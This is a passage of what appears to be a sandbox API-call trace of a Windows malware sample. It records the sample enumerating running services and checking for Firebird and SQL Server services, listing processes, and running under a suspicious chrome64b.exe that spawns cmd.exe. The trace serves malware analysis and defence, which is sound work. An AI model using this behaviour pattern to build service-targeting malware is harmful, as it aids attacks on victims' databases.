[0257.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0257.297] lstrlenW (lpString="RpcSs") returned 5 [0257.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0257.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0257.297] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0257.297] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0257.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0257.297] lstrlenW (lpString="SamSs") returned 5 [0257.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0257.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0257.297] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0257.297] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0257.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0257.297] lstrlenW (lpString="Schedule") returned 8 [0257.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0257.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0257.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0257.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0257.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0257.297] lstrlenW (lpString="SecurityHealthService") returned 21 [0257.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0257.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0257.297] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0257.297] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0257.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0257.297] lstrlenW (lpString="SENS") returned 4 [0257.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0257.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0257.298] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0257.298] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0257.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0257.298] lstrlenW (lpString="ShellHWDetection") returned 16 [0257.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.298] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0257.298] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0257.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0257.298] lstrlenW (lpString="Spooler") returned 7 [0257.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0257.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0257.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0257.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0257.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0257.298] lstrlenW (lpString="StateRepository") returned 15 [0257.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0257.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0257.298] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0257.298] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0257.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0257.298] lstrlenW (lpString="SysMain") returned 7 [0257.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0257.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0257.298] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0257.298] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0257.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0257.298] lstrlenW (lpString="SystemEventsBroker") returned 18 [0257.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0257.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0257.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0257.299] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0257.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0257.299] lstrlenW (lpString="Themes") returned 6 [0257.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0257.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0257.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0257.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0257.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0257.447] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0257.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0257.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0257.447] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0257.447] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0257.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0257.447] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x498 [0257.973] Process32FirstW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.974] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.975] lstrlenW (lpString="System") returned 6 [0257.975] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.976] lstrlenW (lpString="smss.exe") returned 8 [0257.976] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.977] lstrlenW (lpString="csrss.exe") returned 9 [0257.977] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.978] lstrlenW (lpString="wininit.exe") returned 11 [0257.978] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.979] lstrlenW (lpString="csrss.exe") returned 9 [0257.979] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.980] lstrlenW (lpString="winlogon.exe") returned 12 [0257.980] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.981] lstrlenW (lpString="services.exe") returned 12 [0257.981] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.982] lstrlenW (lpString="lsass.exe") returned 9 [0257.982] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0257.983] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0257.983] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0257.984] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0257.984] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.012] lstrlenW (lpString="svchost.exe") returned 11 [0258.012] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.013] lstrlenW (lpString="svchost.exe") returned 11 [0258.013] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.014] lstrlenW (lpString="dwm.exe") returned 7 [0258.014] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.014] lstrlenW (lpString="svchost.exe") returned 11 [0258.014] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.015] lstrlenW (lpString="svchost.exe") returned 11 [0258.015] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.016] lstrlenW (lpString="svchost.exe") returned 11 [0258.016] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.017] lstrlenW (lpString="svchost.exe") returned 11 [0258.017] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.017] lstrlenW (lpString="svchost.exe") returned 11 [0258.017] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.018] lstrlenW (lpString="svchost.exe") returned 11 [0258.018] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.019] lstrlenW (lpString="svchost.exe") returned 11 [0258.019] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.020] lstrlenW (lpString="svchost.exe") returned 11 [0258.020] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.020] lstrlenW (lpString="svchost.exe") returned 11 [0258.020] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.021] lstrlenW (lpString="svchost.exe") returned 11 [0258.021] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.022] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.022] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.022] lstrlenW (lpString="svchost.exe") returned 11 [0258.022] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.023] lstrlenW (lpString="audiodg.exe") returned 11 [0258.023] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0258.024] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0258.024] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0258.025] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0258.025] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0258.025] lstrlenW (lpString="Memory Compression") returned 18 [0258.025] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.026] lstrlenW (lpString="svchost.exe") returned 11 [0258.026] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0258.027] lstrlenW (lpString="sihost.exe") returned 10 [0258.027] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0258.027] lstrlenW (lpString="MDMAgent.exe") returned 12 [0258.027] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0258.028] lstrlenW (lpString="taskhostw.exe") returned 13 [0258.028] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0258.029] lstrlenW (lpString="msoia.exe") returned 9 [0258.029] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.029] lstrlenW (lpString="explorer.exe") returned 12 [0258.030] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0258.030] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0258.030] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0258.031] lstrlenW (lpString="SearchUI.exe") returned 12 [0258.031] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0258.073] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0258.073] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0258.074] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0258.074] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0258.074] lstrlenW (lpString="chrome64b.exe") returned 13 [0258.075] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0258.075] lstrlenW (lpString="cmd.exe") returned 7 [0258.075] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0258.076] lstrlenW (lpString="conhost.exe") returned 11 [0258.076] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.077] lstrlenW (lpString="svchost.exe") returned 11 [0258.077] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0258.077] lstrlenW (lpString="mode.com") returned 8 [0258.077] Process32NextW (in: hSnapshot=0x498, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0258.078] CloseHandle (hObject=0x498) returned 1 [0258.078] Sleep (dwMilliseconds=0x1f4) [0259.602] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699d98 [0259.603] EnumServicesStatusExW (in: hSCManager=0x699d98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0259.603] GetLastError () returned 0xea [0259.603] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x4549f88 [0260.202] EnumServicesStatusExW (in: hSCManager=0x699d98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4549f88, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4549f88, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0260.203] CloseServiceHandle (hSCObject=0x699d98) returned 1 [0260.203] lstrlenW (lpString="AppXSvc") returned 7 [0260.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0260.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0260.203] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0260.203] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0260.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0260.203] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0260.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.203] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0260.204] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0260.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0260.204] lstrlenW (lpString="Audiosrv") returned 8 [0260.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0260.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0260.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0260.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0260.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0260.204] lstrlenW (lpString="BFE") returned 3 [0260.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0260.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0260.204] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0260.204] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0260.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0260.216] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0260.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0260.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0260.217] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0260.217] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0260.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0260.217] lstrlenW (lpString="CDPSvc") returned 6 [0260.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0260.217] lstrcmpiW 